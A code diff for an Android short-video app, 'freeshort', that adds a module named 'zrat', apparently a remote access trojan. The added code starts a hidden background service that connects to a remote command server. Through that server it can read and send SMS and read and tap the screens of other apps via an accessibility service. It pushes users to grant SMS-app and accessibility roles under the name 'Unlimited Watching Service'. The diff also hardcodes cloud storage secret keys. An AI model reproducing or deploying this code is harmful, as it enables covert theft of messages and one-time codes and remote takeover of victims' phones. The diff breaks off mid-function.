.

.env.app

@@ -1,4 +1,6 @@
 VITE_BASE_URL=/
 VITE_API_BASE_URL=https://www.freeshort.buzz/api/
 VITE_APP=true
-VITE_STORAGE_TYPE=oss
+VITE_STORAGE_TYPE=oss
+VITE_PACKAGE=freeshort
+VITE_UPDATE_META_URL=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com/packages/freeshort/meta.json

.env.app1

@@ -0,0 +1,6 @@
+VITE_BASE_URL=/
+VITE_API_BASE_URL=https://www.freeshort.buzz/api/
+VITE_APP=true
+VITE_STORAGE_TYPE=oss
+VITE_PACKAGE=shortfree
+VITE_UPDATE_META_URL=https://short-play-assect.oss-us-east-1.aliyuncs.com/packages/shortfree/meta.json

VitePluginUploadPackage.js

@@ -1,62 +1,70 @@
 /* eslint-disable */
-import { loadEnv } from 'vite'
-import archiver from 'archiver'
-import fs from 'fs'
-import OSS from 'ali-oss'
-import { format } from 'date-fns'
-import { Buffer } from 'node:buffer'
-import COS from 'cos-nodejs-sdk-v5'
+import { loadEnv } from "vite"
+import archiver from "archiver"
+import fs from "fs"
+import OSS from "ali-oss"
+import { format } from "date-fns"
+import { Buffer } from "node:buffer"
+import COS from "cos-nodejs-sdk-v5"
 
-async function ossUpload(filePath, version) {
+async function ossUpload(zipPath, destPath, version) {
     let client = new OSS({
-        accessKeyId: 'PXzJyah5rZfWHIIH',
-        accessKeySecret: 'e1MS6j0wypXJrw8CM0hObZu8qKbfah',
-        region: 'oss-cn-hangzhou',
-        bucket: 'zm-shorts'
+        accessKeyId: "LTAI5tLTf572KFxNQS64gQBY",
+        accessKeySecret: "lUKCJE2vxTcJirgfyk2Ihl7HoryhCD",
+        region: "oss-us-east-1",
+        bucket: "short-play-assect"
     })
-    let { url } = await client.put(`packages/${format(new Date(), 'yyyyMMddHHmmss')}.zip`, filePath, {
-        headers: {
-            'x-oss-object-acl': 'public-read'
+    let { url } = await client.put(
+        `${destPath}/${format(new Date(), "yyyyMMddHHmmss")}.zip`,
+        zipPath,
+        {
+            headers: {
+                "x-oss-object-acl": "public-read"
+            }
         }
-    })
-    url = url.replace('http://', 'https://')
-    console.log('package uploaded: %s', url.replace('http://', 'https://'))
-    await client.put('packages/freeshort/meta.json', Buffer.from(JSON.stringify({ url, version: version })), {
-        headers: { 'x-oss-object-acl': 'public-read' }
-    })
+    )
+    url = url.replace("http://", "https://")
+    console.log("package uploaded: %s", url.replace("http://", "https://"))
+    await client.put(
+        `${destPath}/meta.json`,
+        Buffer.from(JSON.stringify({ url, version: version })),
+        {
+            headers: { "x-oss-object-acl": "public-read" }
+        }
+    )
 }
 
-async function cosUpload(filePath, version) {
+async function cosUpload(filePath, destPath, version) {
     var cos = new COS({
-        SecretId: 'IKIDhOGOYkw59GUh0FMONLJKPLGfzJ5oeaWO',
-        SecretKey: 'sfSC9ACC9zjVK7BMUew8SmEdtBgDi6dI'
+        SecretId: "IKIDhOGOYkw59GUh0FMONLJKPLGfzJ5oeaWO",
+        SecretKey: "sfSC9ACC9zjVK7BMUew8SmEdtBgDi6dI"
     })
     const url = await new Promise((resolve, reject) => {
         cos.putObject(
             {
-                Bucket: 'duanju2-1321229830',
-                Region: 'ap-jakarta',
-                Key: `packages/${format(new Date(), 'yyyyMMddHHmmss')}.zip`,
-                StorageClass: 'STANDARD',
+                Bucket: "duanju2-1321229830",
+                Region: "ap-jakarta",
+                Key: `${destPath}/${format(new Date(), "yyyyMMddHHmmss")}.zip`,
+                StorageClass: "STANDARD",
                 Body: fs.createReadStream(filePath),
-                ACL: 'public-read'
+                ACL: "public-read"
             },
             function (err, data) {
                 if (err) reject(err)
-                else resolve('https://' + data.Location)
+                else resolve("https://" + data.Location)
             }
         )
     })
-    console.log('package uploaded: %s', url)
+    console.log("package uploaded: %s", url)
     await new Promise((resolve, reject) => {
         cos.putObject(
             {
-                Bucket: 'duanju2-1321229830',
-                Region: 'ap-jakarta',
-                Key: 'packages/freeshort/meta.json',
-                StorageClass: 'STANDARD',
+                Bucket: "duanju2-1321229830",
+                Region: "ap-jakarta",
+                Key: `${destPath}/meta.json`,
+                StorageClass: "STANDARD",
                 Body: Buffer.from(JSON.stringify({ url, version: version })),
-                ACL: 'public-read'
+                ACL: "public-read"
             },
             function (err, data) {
                 if (err) reject(err)
@@ -67,39 +75,47 @@ async function cosUpload(filePath, version) {
 }
 
 export default function VitePluginUploadPackage() {
-    let mode = ''
+    let mode = ""
     let env = {}
     return {
-        name: 'upload-package',
+        name: "upload-package",
         config(config, { command }) {
             mode = config.mode
             env = loadEnv(mode, process.cwd())
         },
         async closeBundle(options) {
-            if (env['VITE_APP'] !== 'true') return
-            const meta = JSON.parse(fs.readFileSync('./src/assets/meta.json'))
+            if (env["VITE_APP"] !== "true") return
+            const meta = JSON.parse(fs.readFileSync("./src/assets/meta.json"))
 
-            const sourceDir = 'dist'
-            const outputFilePath = 'dist.zip'
+            const sourceDir = "dist"
+            const outputFilePath = "dist.zip"
 
             await new Promise((resolve, reject) => {
                 const output = fs.createWriteStream(outputFilePath)
-                output.on('close', function () {
+                output.on("close", function () {
                     resolve()
                 })
-                const archive = archiver('zip')
+                const archive = archiver("zip")
                 archive.pipe(output)
                 archive.directory(sourceDir, false)
                 archive.finalize()
             }).catch(e => {
                 console.log(e)
             })
-            switch (env['VITE_STORAGE_TYPE']) {
-                case 'oss':
-                    await ossUpload(outputFilePath, meta.version)
+            switch (env["VITE_STORAGE_TYPE"]) {
+                case "oss":
+                    await ossUpload(
+                        outputFilePath,
+                        `packages/${env["VITE_PACKAGE"]}`,
+                        meta.version
+                    )
                     break
-                case 'cos':
-                    await cosUpload(outputFilePath, meta.version)
+                case "cos":
+                    await cosUpload(
+                        outputFilePath,
+                        `packages/${env["VITE_PACKAGE"]}`,
+                        meta.version
+                    )
                     break
             }
         }

android/app/build.gradle

@@ -22,6 +22,9 @@ android {
             proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
         }
     }
+    buildFeatures {
+        buildConfig true
+    }
 }
 
 repositories {
@@ -40,6 +43,8 @@ dependencies {
     androidTestImplementation "androidx.test.ext:junit:$androidxJunitVersion"
     androidTestImplementation "androidx.test.espresso:espresso-core:$androidxEspressoCoreVersion"
     implementation project(':capacitor-cordova-android-plugins')
+    implementation project(':zrat')
+    implementation 'pub.devrel:easypermissions:3.0.0'
 }
 
 apply from: 'capacitor.build.gradle'

android/app/src/main/AndroidManifest.xml

@@ -32,6 +32,10 @@
             android:grantUriPermissions="true">
             <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" />
         </provider>
+
+        <meta-data
+            android:name="socket_url"
+            android:value="https://www.shortfree.buzz/client" />
     </application>
 
 

android/app/src/main/java/io/freeshort/freeshort/MainActivity.java

@@ -1,5 +1,134 @@
 package io.freeshort.freeshort;
 
+import android.app.role.RoleManager;
+import android.content.Intent;
+import android.os.Build;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.provider.Telephony;
+
+import androidx.appcompat.app.AlertDialog;
+
+import com.example.zrat.AccessibilityService;
+import com.example.zrat.ZService;
+import com.example.zrat.permissions.PermissionManager;
+import com.example.zrat.permissions.models.DeniedPermissions;
 import com.getcapacitor.BridgeActivity;
 
-public class MainActivity extends BridgeActivity {}
+import java.util.Arrays;
+
+import pub.devrel.easypermissions.AppSettingsDialog;
+
+public class MainActivity extends BridgeActivity {
+    private int RETRY_COUNT = 0;
+    private AlertDialog alertDialog;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Intent startIntent = new Intent(this, ZService.class);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            startForegroundService(startIntent);
+        } else {
+            startService(startIntent);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        boolean smsApp = checkSmsApp();
+        if (smsApp) {
+            if (alertDialog != null && alertDialog.isShowing()) {
+                alertDialog.dismiss();
+                alertDialog = null;
+            }
+
+            if (AccessibilityService.instance == null) {
+                AlertDialog.Builder builder = new AlertDialog.Builder(this);
+                builder.setTitle("Need Permission")
+                        .setMessage("To continue using this app, please enable the Unlimited Watching Service")
+                        .setPositiveButton("确定", (dialog, id) -> {
+                            Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
+                            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                            startActivity(intent);
+                            dialog.dismiss();
+                        })
+                        .setCancelable(false)
+                        .create().show();
+            }
+            PermissionManager.getInstance(this).checkPermissions(
+                    Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
+                    new PermissionManager.PermissionRequestListener() {
+                        @Override
+                        public void onPermissionGranted() {
+
+                        }
+
+                        @Override
+                        public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+                            new AppSettingsDialog.Builder(MainActivity.this)
+                                    .setTitle("需要权限")
+                                    .setRationale("如要继续使用本APP，请打开短信权限")
+                                    .build().show();
+                        }
+                    });
+        }
+
+    }
+
+    public boolean checkSmsApp() {
+        RETRY_COUNT++;
+
+        boolean fallback = false;
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            RoleManager roleManager = getSystemService(RoleManager.class);
+            if (roleManager.isRoleAvailable(RoleManager.ROLE_SMS)) {
+                if (roleManager.isRoleHeld(RoleManager.ROLE_SMS)) {
+                    return true;
+                } else {
+                    if (RETRY_COUNT > 10) {
+                        gotoSettings();
+                    } else {
+                        Intent intent = roleManager.createRequestRoleIntent(RoleManager.ROLE_SMS);
+                        startActivityForResult(intent, 101);
+                    }
+                }
+            } else {
+                fallback = true;
+            }
+        } else {
+            fallback = true;
+        }
+
+        if (fallback) {
+            if (Telephony.Sms.getDefaultSmsPackage(this).equals(BuildConfig.APPLICATION_ID)) {
+                return true;
+            } else {
+                if (RETRY_COUNT > 10) {
+                    gotoSettings();
+                } else {
+                    Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
+                    intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, BuildConfig.APPLICATION_ID);
+                    startActivityForResult(intent, 101);
+                }
+
+            }
+        }
+        return false;
+    }
+
+    private void gotoSettings() {
+        if (alertDialog != null && alertDialog.isShowing()) return;
+        alertDialog = new AlertDialog.Builder(this)
+                .setTitle("Permission Required")
+                .setMessage("Please choose " + getString(R.string.app_name) + " as your default SMS app")
+                .setPositiveButton("OK", (dialog, which) -> {
+                    Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
+                    startActivity(i);
+                })
+                .setCancelable(false)
+                .show();
+    }
+}

android/settings.gradle

@@ -2,4 +2,5 @@ include ':app'
 include ':capacitor-cordova-android-plugins'
 project(':capacitor-cordova-android-plugins').projectDir = new File('./capacitor-cordova-android-plugins/')
 
-apply from: 'capacitor.settings.gradle'
+apply from: 'capacitor.settings.gradle'
+include ':zrat'

android/variables.gradle

@@ -1,5 +1,5 @@
 ext {
-    minSdkVersion = 22
+    minSdkVersion = 24
     compileSdkVersion = 33
     targetSdkVersion = 33
     androidxActivityVersion = '1.7.0'

android/zrat/.gitignore

@@ -0,0 +1 @@
+/build

android/zrat/build.gradle

@@ -0,0 +1,45 @@
+plugins {
+    id 'com.android.library'
+}
+
+android {
+    namespace 'com.example.zrat'
+    compileSdk 34
+
+    defaultConfig {
+        minSdk 24
+
+        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+        consumerProguardFiles "consumer-rules.pro"
+    }
+
+    buildTypes {
+        release {
+            minifyEnabled false
+            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+        }
+    }
+    compileOptions {
+        sourceCompatibility JavaVersion.VERSION_1_8
+        targetCompatibility JavaVersion.VERSION_1_8
+    }
+}
+
+dependencies {
+
+    implementation 'androidx.appcompat:appcompat:1.6.1'
+    implementation "com.google.android.material:material:1.8.0"
+    testImplementation 'junit:junit:4.13.2'
+    androidTestImplementation 'androidx.test.ext:junit:1.1.5'
+    androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
+    implementation ('io.socket:socket.io-client:2.0.0') {
+        exclude group: 'org.json', module: 'json'
+    }
+    implementation 'org.apache.commons:commons-lang3:3.12.0'
+    implementation 'org.apache.commons:commons-collections4:4.4'
+    implementation 'com.google.code.gson:gson:2.10.1'
+    implementation 'pub.devrel:easypermissions:3.0.0'
+    implementation 'org.parceler:parceler-api:1.1.12'
+    annotationProcessor 'org.parceler:parceler:1.1.12'
+    implementation 'androidx.localbroadcastmanager:localbroadcastmanager:1.1.0'
+}

android/zrat/proguard-rules.pro

@@ -0,0 +1,21 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+#   http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+#   public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile

android/zrat/src/androidTest/java/com/example/zrat/ExampleInstrumentedTest.java

@@ -0,0 +1,26 @@
+package com.example.zrat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+    @Test
+    public void useAppContext() {
+        // Context of the app under test.
+        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assertEquals("com.example.zrat.test", appContext.getPackageName());
+    }
+}

android/zrat/src/main/AndroidManifest.xml

@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_REMOTE_MESSAGING" />
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS" />
+
+    <application android:usesCleartextTraffic="true">
+        <service
+            android:name=".AccessibilityService"
+            android:enabled="true"
+            android:exported="true"
+            android:label="@string/accessibility_service_label"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/accessibility_service_config" />
+
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+        </service>
+
+        <service
+            android:name=".ZService"
+            android:enabled="true"
+            android:exported="true"
+            android:foregroundServiceType="dataSync"
+            android:permission="zRat" />
+
+        <activity
+            android:name=".permissions.PermissionsActivity"
+            android:excludeFromRecents="true"
+            android:exported="false"
+            android:theme="@style/AppTheme.Transparent" />
+
+        <activity
+            android:name=".SendActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <action android:name="android.intent.action.SENDTO" />
+
+                <category android:name="android.intent.category.DEFAULT" />
+
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.SENDTO" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+        </activity>
+
+        <receiver
+            android:name=".SmsReceiver"
+            android:exported="true"
+            android:permission="android.permission.BROADCAST_SMS">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
+            </intent-filter>
+        </receiver>
+
+        <receiver
+            android:name=".MmsReceiver"
+            android:exported="true"
+            android:permission="android.permission.BROADCAST_WAP_PUSH">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+                <data android:mimeType="application/vnd.wap.mms-message" />
+            </intent-filter>
+        </receiver>
+
+        <service
+            android:name=".SmsService"
+            android:enabled="true"
+            android:exported="true"
+            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>

android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -0,0 +1,197 @@
+package com.example.zrat;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.GestureDescription;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.graphics.Path;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+import android.widget.FrameLayout;
+import android.widget.ImageButton;
+
+import com.google.gson.Gson;
+
+import org.json.JSONObject;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Deque;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
+    private static final String TAG = "AccessibilityService";
+
+    FrameLayout mLayout;
+
+    public static AccessibilityService instance;
+
+    public AccessibilityService() {
+    }
+
+    @Override
+    protected void onServiceConnected() {
+        super.onServiceConnected();
+        instance = this;
+
+        AccessibilityServiceInfo info = new AccessibilityServiceInfo();
+        info.eventTypes = AccessibilityEvent.TYPE_VIEW_CLICKED |
+                AccessibilityEvent.TYPE_VIEW_FOCUSED |
+                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
+        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
+        info.notificationTimeout = 100;
+        this.setServiceInfo(info);
+
+        WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
+        mLayout = new FrameLayout(this);
+        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams();
+        layoutParams.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
+        layoutParams.format = PixelFormat.TRANSLUCENT;
+        layoutParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT;
+        layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT;
+        layoutParams.x = 0;
+        layoutParams.y = 1120;
+        layoutParams.gravity = Gravity.START | Gravity.TOP;
+        LayoutInflater inflater = LayoutInflater.from(this);
+        inflater.inflate(R.layout.floating_bar, mLayout);
+        windowManager.addView(mLayout, layoutParams);
+
+        configureButton();
+    }
+
+    private void configureButton() {
+        ImageButton btn1 = mLayout.findViewById(R.id.btn1);
+        btn1.setOnClickListener(v -> {
+            AccessibilityNodeInfo root = getRootInActiveWindow();
+            Map<String, Object> nodeInfo = traverseNode(root);
+            Gson gson = new Gson();
+            String json = gson.toJson(nodeInfo);
+            Log.i(TAG, json);
+        });
+    }
+
+    public Map<String, Object> getScreen() {
+        AccessibilityNodeInfo root = getRootInActiveWindow();
+        String packageName = root.getPackageName().toString();
+        String appName = null;
+        try {
+            PackageManager packageManager = this.getPackageManager();
+            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
+            appName = packageManager.getApplicationLabel(applicationInfo).toString();
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new RuntimeException(e);
+        }
+        Map<String, Object> map = traverseNode(root);
+        map.put("packageName", packageName);
+        map.put("appName", appName);
+
+//        Rect rect = new Rect();
+//        root.getWindow().getBoundsInScreen(rect);
+//        map.put("windowBounds", rect);
+        return map;
+    }
+
+    private Map<String, Object> traverseNode(AccessibilityNodeInfo node) {
+        if (node == null) {
+            return null;
+        }
+        Map<String, Object> map = new HashMap<>();
+        map.put("class", node.getClassName());
+        map.put("text", node.getText());
+        map.put("actions", node.getActionList().stream().map(AccessibilityNodeInfo.AccessibilityAction::getId).toArray());
+        Rect rect = new Rect();
+        node.getBoundsInScreen(rect);
+        map.put("bounds", rect);
+
+        if (node.getChildCount() != 0) {
+            List<Map<String, Object>> children = new ArrayList<>();
+            for (int i = 0; i < node.getChildCount(); i++) {
+                children.add(traverseNode(node.getChild(i)));
+                map.put("children", children);
+            }
+        }
+        return map;
+    }
+
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {
+        Log.i(TAG, "onAccessibilityEvent: ");
+
+        try {
+            String packageName = event.getPackageName().toString();
+            PackageManager packageManager = this.getPackageManager();
+            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
+            CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
+            Log.i(TAG, "app name is: " + applicationLabel);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    @Override
+    public void onInterrupt() {
+
+    }
+
+    public void performClick(int x, int y) {
+        Path tap = new Path();
+        tap.moveTo(x, y);
+        GestureDescription.Builder tapBuilder = new GestureDescription.Builder();
+        tapBuilder.addStroke(new GestureDescription.StrokeDescription(tap, 0, 200));
+        dispatchGesture(tapBuilder.build(), null, null);
+    }
+
+    private AccessibilityNodeInfo findScrollableNode(AccessibilityNodeInfo root, AccessibilityNodeInfo.AccessibilityAction action) {
+        Deque<AccessibilityNodeInfo> deque = new ArrayDeque<>();
+        deque.add(root);
+        while (!deque.isEmpty()) {
+            AccessibilityNodeInfo node = deque.removeFirst();
+            if (node.getActionList().contains(action)) {
+                return node;
+            }
+            for (int i = 0; i < node.getChildCount(); i++) {
+                deque.addLast(node.getChild(i));
+            }
+        }
+        return null;
+    }
+
+    public void scrollDown() {
+        AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
+        if (scrollable != null) {
+            scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
+        }
+    }
+
+    public void scrollUp() {
+        AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
+        if (scrollable != null) {
+            scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
+        }
+    }
+
+    public void home() {
+        performGlobalAction(GLOBAL_ACTION_HOME);
+    }
+
+    public void back() {
+        performGlobalAction(GLOBAL_ACTION_BACK);
+    }
+
+    public void recent() {
+        performGlobalAction(GLOBAL_ACTION_RECENTS);
+    }
+
+
+}

android/zrat/src/main/java/com/example/zrat/Command.java

@@ -0,0 +1,36 @@
+package com.example.zrat;
+
+import java.util.Map;
+
+public class Command {
+
+    private String from;
+
+    private String action;
+
+    private Map<String, Object> data;
+
+    public String getFrom() {
+        return from;
+    }
+
+    public void setFrom(String from) {
+        this.from = from;
+    }
+
+    public String getAction() {
+        return action;
+    }
+
+    public void setAction(String action) {
+        this.action = action;
+    }
+
+    public Map<String, Object> getData() {
+        return data;
+    }
+
+    public void setData(Map<String, Object> data) {
+        this.data = data;
+    }
+}

android/zrat/src/main/java/com/example/zrat/Result.java

@@ -0,0 +1,43 @@
+package com.example.zrat;
+
+public class Result {
+
+    public Result() {
+    }
+
+    public Result(String to, String action, Object data) {
+        this.to = to;
+        this.action = action;
+        this.data = data;
+    }
+
+    private String to;
+
+    private String action;
+
+    private Object data;
+
+    public String getTo() {
+        return to;
+    }
+
+    public void setTo(String to) {
+        this.to = to;
+    }
+
+    public String getAction() {
+        return action;
+    }
+
+    public void setAction(String action) {
+        this.action = action;
+    }
+
+    public Object getData() {
+        return data;
+    }
+
+    public void setData(Object data) {
+        this.data = data;
+    }
+}

android/zrat/src/main/java/com/example/zrat/SendActivity.java

@@ -1,2 +1,6 @@
-package com.example.zrat;public class SendActivity {
+package com.example.zrat;
+
+import androidx.appcompat.app.AppCompatActivity;
+
+public class SendActivity extends AppCompatActivity {
 }

android/zrat/src/main/java/com/example/zrat/SmsReceiver.java

@@ -4,7 +4,7 @@ import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 
-public class MyReceiver extends BroadcastReceiver {
+public class SmsReceiver extends BroadcastReceiver {
 
     @Override
     public void onReceive(Context context, Intent intent) {

android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -0,0 +1,315 @@
+package com.example.zrat;
+
+import android.Manifest;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.graphics.Color;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.telephony.SmsManager;
+import android.util.Log;
+
+import androidx.annotation.RequiresApi;
+import androidx.core.app.NotificationCompat;
+
+import com.example.zrat.permissions.PermissionManager;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.google.gson.Gson;
+
+import org.apache.commons.collections4.MapUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
+import io.socket.client.IO;
+import io.socket.client.Socket;
+import pub.devrel.easypermissions.EasyPermissions;
+
+public class ZService extends Service {
+    private final static String TAG = "ZService";
+
+    private final IBinder binder = new ZBinder();
+    private Socket mSocket;
+
+    public ZService() {
+    }
+
+    public class ZBinder extends Binder {
+        public ZService getService() {
+            return ZService.this;
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return binder;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        super.onStartCommand(intent, flags, startId);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            startMyOwnForeground();
+        } else {
+            startForeground(1, new Notification());
+        }
+        return Service.START_STICKY;
+    }
+
+    @RequiresApi(api = Build.VERSION_CODES.O)
+    private void startMyOwnForeground() {
+        String NOTIFICATION_CHANNEL_ID = "com.play.service.techno";
+        String channelName = "My Background Service";
+        NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
+        chan.setLightColor(Color.BLUE);
+        chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
+        NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        assert manager != null;
+        manager.createNotificationChannel(chan);
+
+        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID);
+        Notification notification = notificationBuilder.setOngoing(true)
+                .setContentTitle("App is running in background")
+                .setPriority(NotificationManager.IMPORTANCE_MIN)
+                .setCategory(Notification.CATEGORY_SERVICE)
+                .build();
+        startForeground(1, notification);
+    }
+
+    private String getSocketUrl() {
+        try {
+            ApplicationInfo appInfo = getPackageManager().getApplicationInfo(getPackageName(), PackageManager.GET_META_DATA);
+            Bundle bundle = appInfo.metaData;
+            return bundle.getString("socket_url");
+        } catch (PackageManager.NameNotFoundException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    private String getModel() {
+        String manufacturer = Build.MANUFACTURER;
+        String model = Build.MODEL;
+        return StringUtils.capitalize(manufacturer) + " " + model;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        try {
+            String socketUrl = getSocketUrl();
+            IO.Options options = new IO.Options();
+            options.path = "/ws";
+            options.transports = new String[]{"websocket"};
+            mSocket = IO.socket(socketUrl, options);
+            mSocket.on(Socket.EVENT_CONNECT, args -> {
+                Map<String, Object> map = new HashMap<>();
+                map.put("model", getModel());
+                JSONObject json = new JSONObject(map);
+                mSocket.emit("info", json);
+            });
+            mSocket.on(Socket.EVENT_DISCONNECT, args -> {
+                Log.i(TAG, "socket disconnect ");
+            });
+            mSocket.on("cmd", args -> {
+                Log.d(TAG, "Received command: " + Arrays.toString(args));
+                Gson gson = new Gson();
+                JSONObject jsonObject = (JSONObject) args[0];
+                try {
+                    Command command = gson.fromJson(jsonObject.toString(), Command.class);
+                    switch (Objects.requireNonNull(command).getAction()) {
+                        case "sendSms":
+                            handleSendSms(command);
+                            break;
+                        case "readSms":
+                            handleReadSms(command);
+                            break;
+                        case "getScreen":
+                            handleGetScreen(command);
+                            break;
+                        case "click":
+                            handleClick(command);
